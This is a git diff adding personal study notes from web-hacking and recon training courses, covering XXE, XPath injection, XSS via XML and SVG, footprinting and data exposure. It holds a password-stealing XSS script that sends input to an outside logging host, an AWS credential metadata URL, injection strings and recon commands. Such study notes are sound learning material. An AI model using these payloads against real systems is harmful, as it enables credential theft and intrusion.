0000000..f1f2e5d Binary files /dev/null and b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/materials/xml-processing-web-app-hacking.zip differ diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-1 - XXE Attack.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-1 - XXE Attack.txt new file mode 100644 index 0000000..9d19141 --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-1 - XXE Attack.txt @@ -0,0 +1,51 @@ +Overview: + -- Understanding XXE Attack + -- Demo + -- Fixing the Problem + + +*** XML external entity attack (XXE) + + + +:: Understanding XXE Attack :: +-- Tool(s) -- + +Attacker defines an external entity in an XML file. +External entity can point to a sensitive file such as database.yml +The file gets uploaded and processed by the application. +The content of the sensitive file gets returned. + + + +:: Demo :: +-- Tool(s) -- + + +]> + + + +Product1 +100 +Description1 + + +Product2 +200 +&myentity; + + + + +Entity gets called then runs SYSTEM command +returning the content to the description field? + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Disable processing of external entities. XD Oh, ok... diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-2 - Going Deeper into an XXE Attack.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-2 - Going Deeper into an XXE Attack.txt new file mode 100644 index 0000000..2ad6871 --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-2 - Going Deeper into an XXE Attack.txt @@ -0,0 +1,22 @@ +Overview: + -- Overview + -- Stealing the SecretAccessKey of the Application Hosted on AWS + + + + +:: Stealing the SecretAccessKey of the Application Hosted on AWS :: +-- Tool(s) -- + +*** XML externl entaties can point to URLs + +Example of sensitive resource in Amazon Web Services: +http://169.254.169.254/latest/meta-data/liam/security-credentials/s3access + + + + +:: Demo :: +-- Tool(s) -- + +Skipped since same as module 1's diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-3 - XPath Injection.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-3 - XPath Injection.txt new file mode 100644 index 0000000..7531ed4 --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-3 - XPath Injection.txt @@ -0,0 +1,31 @@ +Overview: + -- Understanding XPath Injection + -- Demo + -- Fixing the Problem + + + + +:: Understanding XPath Injection :: && :: Demo :: +-- Tool(s) -- + + +XPATH = XML Path Language + +*** Changing the logic of the underlying xpath query. + +Ex: + //coupon[code='ABCD'] <-- normal + + //coupon[code='ABCD''] <-- added a ' to the string generating xpath syntax + + //coupon[code='ABCD' or '*'] <-- Makes valid syntax + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Validate the data server side to insure the code is alphanumeric. +This means '' and * wont be accepted. diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-4 - XSS via XML.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-4 - XSS via XML.txt new file mode 100644 index 0000000..829350d --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-4 - XSS via XML.txt @@ -0,0 +1,48 @@ +Overview: + -- Understanding XSS Attack + -- Understanding XSS via XML + -- Demo + -- Fixing the Problem + + + +:: Understanding XSS Attack :: +-- Tool(s) -- + +Executing scripts that get returned to the user. +ED, getting cookies, etc. + + + + +:: Understanding XSS via XML :: && :: Demo :: +-- Tool(s) -- + +Making special script tag that gets run and sends entered password from user. + + + + var pass = prompt("Enter your password to continue"); + var xhr = new XMLHttpRequest (); + xhr.open("GET", "https: //hacking-web-applications.com/log.php?pass="+ + encodeURI(pass) ) ; + xhr.send(); + + + + + + +:: Fixing the Problem :: +-- Tool(s) -- + +Make sure that the script included in the XML file is not executed + v +Send the following response header: + Content-Disposition: attachment; filename="" + + +*** Tells the browser that it's not like an HTML file that needs to be processed. + Its an attachment file so should be downloaded. + Basically, it's like the parameterize argument in that the thing never gets + in a processing context. diff --git a/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-5 - XSS via SVG.txt b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-5 - XSS via SVG.txt new file mode 100644 index 0000000..c47fa20 --- /dev/null +++ b/src/Security/Training/Phase1/2020_Web App Hacking: Hacking XML Processing/module-5 - XSS via SVG.txt @@ -0,0 +1,32 @@ +Overview: + -- Understanding XSS via SVG + -- Demo + + + +:: Understanding XSS via SVG :: +-- Tool(s) -- + +SVGs are XML based image files. +Scripts can be included in the file. + + + + +:: Demo :: +-- Tool(s) -- + + +*** Fix again is setting content disposition header to be attachment. + + + + + + + diff --git a/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/Course Overview.txt b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/Course Overview.txt new file mode 100644 index 0000000..2ca266b --- /dev/null +++ b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/Course Overview.txt @@ -0,0 +1,3 @@ +Overview: + -- Session Hijacking via Cross-site Scripting (XSS) + -- Hacker Hardware diff --git a/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-1 - Session Hijacking via Cross-site Scripting (XSS).txt b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-1 - Session Hijacking via Cross-site Scripting (XSS).txt new file mode 100644 index 0000000..1323231 --- /dev/null +++ b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-1 - Session Hijacking via Cross-site Scripting (XSS).txt @@ -0,0 +1,51 @@ +Overview: + -- Reflected Cross-site Scripting + -- How Can Users and Developers Mitigate Reflected XSS Risks? + -- Persistent Cross-site Scripting + -- How Can Users and Developers Combat Persistent XSS? + + + +:: Reflected Cross-site Scripting :: +Uses a link with an image that has a src attrib set to the website he owns. +He also uses JS to access the cookies and steal the session id and pass that +to the site called. This is predicated on the user also having set the +"remember me" functionality which further exacerbated the issue b/c the serer +sent back OTHER cookies that turned out to be the username and password in +base64 encoding... + + + +:: How Can Users and Developers Mitigate Reflected XSS Risks? :: + +Users: +Pretty much user side the only mitigation is having a unique password. + + +Admins: +Encode Output +Auth cookie needs to be set to httponly (IE, NO JS should access it.) +CORS + + + + +:: Persistent Cross-site Scripting :: +Embedded XSS in the db +-- Tool(s) -- + BeEF + +Used phishing page in this example to escalate attack + + + + +:: How Can Users and Developers Combat Persistent XSS? :: + +Users: +Look at urls and keylock as needed. +2-Fac auth + +Admins: +Sanitize data before adding to db +HTTPS diff --git a/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-2 - Hacker Hardware.txt b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-2 - Hacker Hardware.txt new file mode 100644 index 0000000..f454d8b --- /dev/null +++ b/src/Security/Training/Phase1/333_Play by Play - Ethical Hacking/module-2 - Hacker Hardware.txt @@ -0,0 +1,14 @@ +Overview: + -- USB Compromise with Rubber Ducky + -- WiFi Hijacking with the WiFi Pineapple + + + +:: USB Compromise with Rubber Ducky :: +Don't use unknown usbs, lol +Could change host files; could add reverse shell; could take pictures from cam, etc. + + + +:: WiFi Hijacking with the WiFi Pineapple :: +SEO bump by Google when HTTPS diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/Course Overview.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/Course Overview.txt new file mode 100644 index 0000000..6a3a616 --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/Course Overview.txt @@ -0,0 +1,12 @@ +Concepts: + -- Collect domain names & IP addresses + -- Passive and Active Reconnaissance + -- Hunting Weak Web Applications + -- Mapping your hosts + +Overview: + -- Welcome to External Footprinting (Non-technical opportunities) + -- Passive Reconnaissance (Hunting Quietly) + -- Active Reconnaissance (Gathering the goods) + -- Prioritizing External Targets (Feel the heat) + -- Countermeasures and Reporting (Active defense, fun!) diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/external-footprinting-reconnaissance-mapping.zip b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/external-footprinting-reconnaissance-mapping.zip new file mode 100644 index 0000000..8f8d847 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/external-footprinting-reconnaissance-mapping.zip differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-challenge 1 path.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-challenge 1 path.png new file mode 100644 index 0000000..acc2474 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-challenge 1 path.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-1.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-1.png new file mode 100644 index 0000000..9bfd7f6 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-1.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-2.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-2.png new file mode 100644 index 0000000..2345146 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-2.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-3.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-3.png new file mode 100644 index 0000000..ccd1f59 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-2-image-3.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-1.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-1.png new file mode 100644 index 0000000..f16bb22 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-1.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-2.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-2.png new file mode 100644 index 0000000..f865b90 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-2.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-3.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-3.png new file mode 100644 index 0000000..71c0b94 Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-3.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-4.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-4.png new file mode 100644 index 0000000..ccc021f Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-4.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-5.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-5.png new file mode 100644 index 0000000..81ef30c Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-3-image-5.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-1.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-1.png new file mode 100644 index 0000000..fbf323d Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-1.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-2.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-2.png new file mode 100644 index 0000000..30537ec Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-2.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-3.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-3.png new file mode 100644 index 0000000..22653ee Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-4-image-3.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-1.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-1.png new file mode 100644 index 0000000..41b726c Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-1.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-2.png b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-2.png new file mode 100644 index 0000000..9c4a25a Binary files /dev/null and b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/materials/module-5-image-2.png differ diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-1 - Welcome to External Footprinting.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-1 - Welcome to External Footprinting.txt new file mode 100644 index 0000000..490df85 --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-1 - Welcome to External Footprinting.txt @@ -0,0 +1,84 @@ +Overview: + -- README + -- Attack Chains + -- Client Interaction + -- Getting the Gould + + + + +:: README :: +-- Tool(s) -- + +PTES: Section 6.1 + +NEED Kali Linux + +-- Welcome to External Footprinting (Non-technical opportunities) +-- Passive Reconnaissance (Hunting Quietly) +-- Active Reconnaissance (Gathering the goods) +-- Prioritizing External Targets (Feel the heat) +-- Countermeasures and Reporting (Active defense, fun!) + + + +:: Attack Chains :: +-- Tool(s) -- + +Attempt: +Identify unmaintained site +Identify SQL injection after login +Replay new credentials on main website + +Result: +Gain access to an account +Dump the database, passwords stored in cleartext +Gain domain access + + + + +:: Client Interaction :: +-- Tool(s) -- + +Statement of Work (SOW): Legally binding document + Target list: + -- Explicit host or IP list + *10.0.0.0/24 + host.company.com + -- Implicit + "Acme HR Application" + Scope of Work: + -- Web application assessment (min/max components) + -- odd requests such as off hour testing + +Kickoff Call: + Ownership of hosts: + If for instance on AWS need permission to test that + Overview of targets: + Discuss defensive countermeasures + WAF (Web Application Firewall)? + +Ask questions! Maintain goals + + + + +:: Getting the Gould :: +-- Tool(s) -- +Virtual Hosts: Multiple domain names map to single IP. Valuable in that when + one app is insecure it can undermine the other apps security + +*** When looking for domain names, it's really common to find copied development + versions of a website on the internet. +Ex: staging.customer.com (most common target b/c of less defenses.) + dev.customer.com + dev2.customer.com + +Note: Defense might be to map against external vs internal IP. IE, using company or VPN IP + + +--- TESTING FACEBOOK --- +Hostenames, IPs, reconnaisance +Must Read: + https://www.facebook.com/whitehat diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-2 - Passive Reconnaissance.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-2 - Passive Reconnaissance.txt new file mode 100644 index 0000000..4ef1bf5 --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-2 - Passive Reconnaissance.txt @@ -0,0 +1,130 @@ +Overview: + -- WHOIS + -- BGP + -- Internet Scanning Projects + -- DNS Bruteforcing + -- Digging Deep on Third Party Servers + -- Source Code Services + + --- TESTING FACEBOOK --- + Hostenames, IPs, reconnaisance + Must Read: + https://www.facebook.com/whitehat + + +*** Collecting information about the company without communicating with any of their systems. + +[ Challenge ]: + -- Tool(s) -- + Kali Linux + + Start with: + -- facebook.com + End with: + -- +100,000 IPv4 + -- +100 IPv6 Ranges + -- More than 5k hostnames + + + +:: WHOIS :: +-- Tool(s) -- + dmitry: Demographic Information Gathering Tool -- See module-2-image-1 image + whois: Gets the company info + nslookup: DNS lookup + ARIN Site + + +Is a protocol that translates URL to company information +Go from a URL to list of IP addresses. +Associated anonymous system information (ASN Info) +*** Can use IPs to bypass some information hiding services against WHOIS lookups (see nslookup to get ip/domain) + + +seed URL: facebook.com +WHOIS lookups: + +100,000 IPv4 + +100 IPv6 Ranges + + + + +:: BGP :: (Border Gateway Protocal) +*** Exchanges antonymous system network routing information + (Ie, creates A PATH BETWEEN THESE SYSTEMS) + Routing decisions on core internet +*** AS (antonymous system) is associated with network ranges + +-- Tool(s) -- + See module-2-image-2 image + + + + +:: Internet Scanning Projects :: +*** Internet scanning projects perform TCP and UDP port scans across the entire internet on a daily or weekly basis. + The data is then made publicly available and the goal is to provide the public with the data for analysis. + IE, great for gathering info/reconnaissance + +-- Tool(s) -- + scans.io : Hosted and maintained by University of Michigan + censys.io allows for interactive querying against data + Relevant to Footprinting: + DNSs: Virtual Hosts + SSL Certificates: Subject alternative names (another list of hostnames) + Live Services + commoncrawl.org: crawl of the internet itself. (Kinda like backend of Google) + www.shodan.io + crt.sh: Comodo Certificate sdearch + pigz: parallel decompression of tar,gzip files + + + + +:: DNS Bruteforcing :: +-- Tool(s) -- + DNSRecon on Kali: dnsrecon -d -t -n 8.8.8.8 -D -c -f + Fierce on Kali + +Advanced Tactics: + Recursive Bruteforce + Use organization specific patterns. + Ask someone + + + + +:: Digging Deep on Third Party Servers :: +(Think like an attacker) +(Think like an employee) + +*** Think of the two sites as philosophy than actual steps. + Does it make sense to check these basically? + +-- Tool(s) -- + virustotal.com : Might list domains checked by users. (When OK they are acrtual domains of company) + threatcrowd.org : Malware threat information + + +Think about 3rd party services. +Think about mergers and acquisitions. +Think about presentation sharing sites such as slideshare.net or prezi.com +Industry blog posts +Conference videos + +Other Courses: + Reconnaissance/Footprinting by Dale Meredith + + + + +:: Source Code Services :: +-- Tool(s) -- + Gitrob + Gumbler + +-- Group(s) -- + Github + Bitbucket + SourceForge + Googlecode (Now defunct) diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-3 - Active Reconnaissance.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-3 - Active Reconnaissance.txt new file mode 100644 index 0000000..7b0b381 --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-3 - Active Reconnaissance.txt @@ -0,0 +1,121 @@ +Overview: + -- Port Scanning + -- Nmap Scripting Engine (NSE) + -- Screenshooting + -- DNS Bruteforcing + -- NTP + -- SNMP + + + +:: Port Scanning :: +-- Tool(s) -- + Nmap + Metasploit: Can "store" data and handle many formats... Postgress SQL as backend + + +Bad Habits: +Avoid "Kitchen Sink" syndrome! Be precise and DON'T firehose scan everything! + It's loud and makes for easy detection. + It's extremely slow. + Can be greatly misleading given it can be destructive by taking down services. + +Good Habits: + Perform multiple scans + Slow down service scans and target a few at a time. + Store scan data effectively + + +Some common NMAP flags used: See module-3-image-1 image +*** Check his notes for common service ports! + + + + +:: Nmap Scripting Engine (NSE) :: +-- Tool(s) -- + Nmap Scanning Engine (NSE): + Supports most Nmap protocols + Massively parallel + Kali ships with 515 NSE scripts + Masscan: + Scan entire Internet in 6 minutes + ZMap: + Perform checks similar to NSE + + + + + +:: Screenshooting :: +-- Tool(s) -- + EyeWitness: A python script to take snapshots + python EyeWitness.py --headless -x .xml + +Scan results or IP with Nmap and then screenshoot. + + + + +:: DNS Bruteforcing :: +-- Tool(s) -- + dig: DNS requests tool + dnsrecon: Python script for dns zone transfer checking + +In this instance we use company's Domain server instead of 8.8.8.8 or other non related DNS server. +Remember, in passive scan we NEVER touch anything related to company!! In active scanning, +we do touch company servers/services... + +Active vs. Passive DNS Bruteforcing: + See module-3-image-2 image + + + + +:: NTP :: +(Network Time Protocol) +** Time syncing protocol + +-- Tool(s) -- + Nmap NSE: ntp-monlist --> nmap --script ntp-monlist $IP + NTP tools: apt-get install ntp + + +NTPd = daemon + +They store devices that have communicated with it. +If missconfigured, while rare, it can expose those addresses and hostenames + +Getting IPs from NTP +See module-3-image-3 image + +*** mrulist command in pic is most likely to work but no DoS risk + + + + +:: SNMP :: +(Simple Network Management Protocol) +*** Manages or monitors devices +*** Usually for switches and routers but can have Printers and VOIP Phones over internet + +-- Tool(s) -- + + +Network Monitoring System (NMS) collects information +SNOM agent has the actual info to be collected + +Spoofing as NMS to try and collect information about network. + +Can reveal: + Version info, network routing inf, usernames, process IDs, and more + +*** If you can modify the device it's an instant critical finding + Networking device modification would mean changing internet firewall rules + or, with the right device, permanent compromise of the system. + +Security of SNPM: + 3 versions --> See module-3-image-4 image + +Potential attacks: + See module-3-image-5 image diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-4 - Prioritizing External Target List.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-4 - Prioritizing External Target List.txt new file mode 100644 index 0000000..3ec6e9b --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-4 - Prioritizing External Target List.txt @@ -0,0 +1,100 @@ +Overview: + -- Banner Grabbing + -- Hunting Weak Web Applications + -- SMTP Bounceback + -- SMTP Enumeration + -- Username Enumeration - Error Messaging + -- Username Enumeration - Timing Attacks + +*** Drilling down in prioritized service list + + + +:: Banner Grabbing :: +*** tend to get best results with internal assessments. + +-- Tool(s) -- + +Automate connections to the servers and scope and pull back the response banner. +Can sometimes pull back MySQL banner which could give version info. + + + + +:: Hunting Weak Web Applications :: +-- Tool(s) -- + Nmap: http-enums script (has big dictionary of common pages) + *** Look for things like phpMyAdmin pages + Can pickup Wordpress versions + whatweb: good plugins + Can find interesting headers + wpscan: Wordpress scan + Enumerate users and plugins + + + +Look for OTS (Off the Shelf) software +Pre-packaged install +Supports plugins +Open source vs. Vendor specific (Enterprise)... +Custom developed pages + +Talk with customer about patching cycle. Is it under 2 hours? +Look to Drupal case study where vulnerability left all instances +not patched within 7 hours as infected. + + + + +:: SMTP Bounceback :: +*** Sends email to non-existent addess to target email server + Target sends a bounceback stating address doesn't exist. (DoS/DDoS threat too?) + can view details from the response for useful information + +*** Limited effect but can be useful. + +-- Tool(s) -- + + + + +:: SMTP Enumeration :: +*** Can get enterprise or domain accounts + +-- Tool(s) -- + +SMTP User Enumeration: + See module-4-image-1 image + +Can use Metasploit module smtp_enum, included with Kali to automate this process + +Defences: + White listing, reputation of connecting IPs, disallowing multiple + receipt-to attempts and SPF or its counterpart DKIM, which are aimed at preventing spoofed email. + + + + +:: Username Enumeration - Error Messaging :: +*** Basically, see what error messages give. Does username or password not exist? + +-- Tool(s) -- + + +Account Lockouts: + Lockout threshold and timeout + Lack of lockout is/really/bad + +Single password bruteforce + +Case Study: + See module-4-image-2 image + + + + +:: Username Enumeration - Timing Attacks :: +-- Tool(s) -- + +Timing Attack Baseline: + See module-4-image-3 image diff --git a/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-5 - Countermeasures and Reporting.txt b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-5 - Countermeasures and Reporting.txt new file mode 100644 index 0000000..1a9e74e --- /dev/null +++ b/src/Security/Training/Phase1/444_External Footprinting - Reconnaissance and Mapping/module-5 - Countermeasures and Reporting.txt @@ -0,0 +1,63 @@ +Overview: + -- Countermeasures + -- Active Defense + -- OPSec + -- Reporting + + + +:: Countermeasures :: +-- Tool(s) -- + +What is your customer's security posture/maturity? +What hosts are around? Can it be reduced? +Perimeter hygiene? +You vs. You? How would you fight you? + + + +:: Active Defense :: +*** DO NOT HACK BACK! It's illegal. Onlty on your network. + +-- Tool(s) -- + Portspoof + CNAME roulette + Canarytokens (Thinkst) + + +Make it annoying/hard against attackers. +The defense needs to make sense and hide in plain sight. + +Some Ablative Techniques: + See module-5-image-1 image + + + + +:: OPSec :: +*** Protecting info that can be used against you + +-- Tool(s) -- + + +Reasonable Paranoia: + See module-5-image-2 image + + + + +:: Reporting :: +*** The "story" of your pen test + +-- Tool(s) -- + +People: + Executive --> + Managers --> + Trenches --> + +Scope + Summary findings related to footprinting + Technical findings related to footprinting + Appendix of all hosts and IPs discovered + Whether too many outdated services diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/Course Overview.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/Course Overview.txt new file mode 100644 index 0000000..4a1423b --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/Course Overview.txt @@ -0,0 +1,11 @@ +Concepts: + ... + +Overview: + -- Insecure Error Handling + -- Disclosure of Sensitive Files + -- Information Disclosure via Metadata + -- Underestimated Risk: Disclosure of Software Version + -- Insecure Communication Channel + -- Leakage of Cookie with Sensitive Data + -- Leakage of Sensitive Data via Referer Header diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/materials/sensitive-data-exposure-web-app.zip b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/materials/sensitive-data-exposure-web-app.zip new file mode 100644 index 0000000..a8ab2e2 Binary files /dev/null and b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/materials/sensitive-data-exposure-web-app.zip differ diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-1 - Insecure Error Handling.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-1 - Insecure Error Handling.txt new file mode 100644 index 0000000..deeaae4 --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-1 - Insecure Error Handling.txt @@ -0,0 +1,33 @@ +Overview: + -- Verbose Error Messages + -- How to Trigger Error Message + -- Demo + + + +:: Verbose Error Messages :: +-- Tool(s) -- + +Can find/see source code +Credentials to the database +Details of internal implementation (IE, urls, internal API calls, pathing, etc) + + + + +:: How to Trigger Error Message :: +-- Tool(s) -- + +Triggers: + Bad data --> strings, ints, bools, files, etc + Encoding types + Overflows + + + + +:: Demo :: +-- Tool(s) -- + +He just inserts a string instead of int in the URL. We learn it's an ASP app +Saw that it gave connection info to the db. diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-2 - Disclosure of Sensitive Files.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-2 - Disclosure of Sensitive Files.txt new file mode 100644 index 0000000..96c739f --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-2 - Disclosure of Sensitive Files.txt @@ -0,0 +1,36 @@ +Overview: + -- How to Find Sensitive Files + -- How to Read the Content of Sensitive Files + -- Demo + + + +:: How to Find Sensitive Files :: +-- Tool(s) -- + +Method: + robots.txt (Boy aint that the truth. WPScan showed me this. XD) + Fix: Setup internal routs and responses. + Use maybe internal IP as validation for access/VPN? + + + + +:: How to Read the Content of Sensitive Files :: +-- Tool(s) -- + +Explains a scenario where the robots file shows a PHP file and a config file. +PHP gets processed but config returns data b/c it's a non-standard file. +The config file has db creds in plain text... + Fix: Use PHP file to setup connection since PHP is processed. + Encrypt the user and password too... <-- This doesn't fix it per-say but makes things harder to exploit. + + + +:: Demo :: +-- Tool(s) -- + + +Directory listing is enabled. +User can access the config path and see the two files. +Thus, can open the config file. diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-3 - Information Disclosure via Metadata.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-3 - Information Disclosure via Metadata.txt new file mode 100644 index 0000000..a4e8d81 --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-3 - Information Disclosure via Metadata.txt @@ -0,0 +1,37 @@ +Overview: + -- Metadata + -- How to Extract Metadata + -- Demo + + + +:: Metadata :: +("Hidden" data on file) +-- Tool(s) -- + +Info to be found: + Comments + History of changes + GPS coordinates + Name + Dates edited + etc. + + + +:: How to Extract Metadata :: +-- Tool(s) -- + Exiftool + exiftool -a + + + +:: Demo :: +-- Tool(s) -- + +Used exif tool on a msword file. +Metadata had comments that gave a link with user and password to a documents archive. + + Fix: Scrub all metadata out... (But then how are comments preserved?) + Better internal policy about information transfer. + Maybe give link but no password n user? diff --git a/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-4 - Underestimated Risk: Disclosure of Software Version.txt b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-4 - Underestimated Risk: Disclosure of Software Version.txt new file mode 100644 index 0000000..44f6639 --- /dev/null +++ b/src/Security/Training/Phase1/555_Web App Hacking: Sensitive Data Exposure/module-4 - Underestimated Risk: Disclosure of Software Version.txt @@ -0,0 +1,39 @@ +Overview: + -- Disclosure of Software Version + -- Exploitation + -- Demo + + +:: Disclosure of Software Version :: +-- Tool(s) -- + Wpscan + +Disclosure Methods: + Response headers + JS versions + Config files + etc + + + + +:: Exploitation :: +-- Tool(s) -- + Exploit Database: https://www.exploit-db.com (Find and download exploit) + +Exploitation + Apache/2.2.22 + PHP/5.3.10-1ubuntu3 + + + + +:: Demo :: +-- Tool(s) -- + Firebug + +Check if response headers disclose software versions. +Uses Firebug to look at Net tab and then the response headers. +Sees the version info and uses https://www.exploit-db.com to get exploit +Uses exploit to ls remote directory. +He the 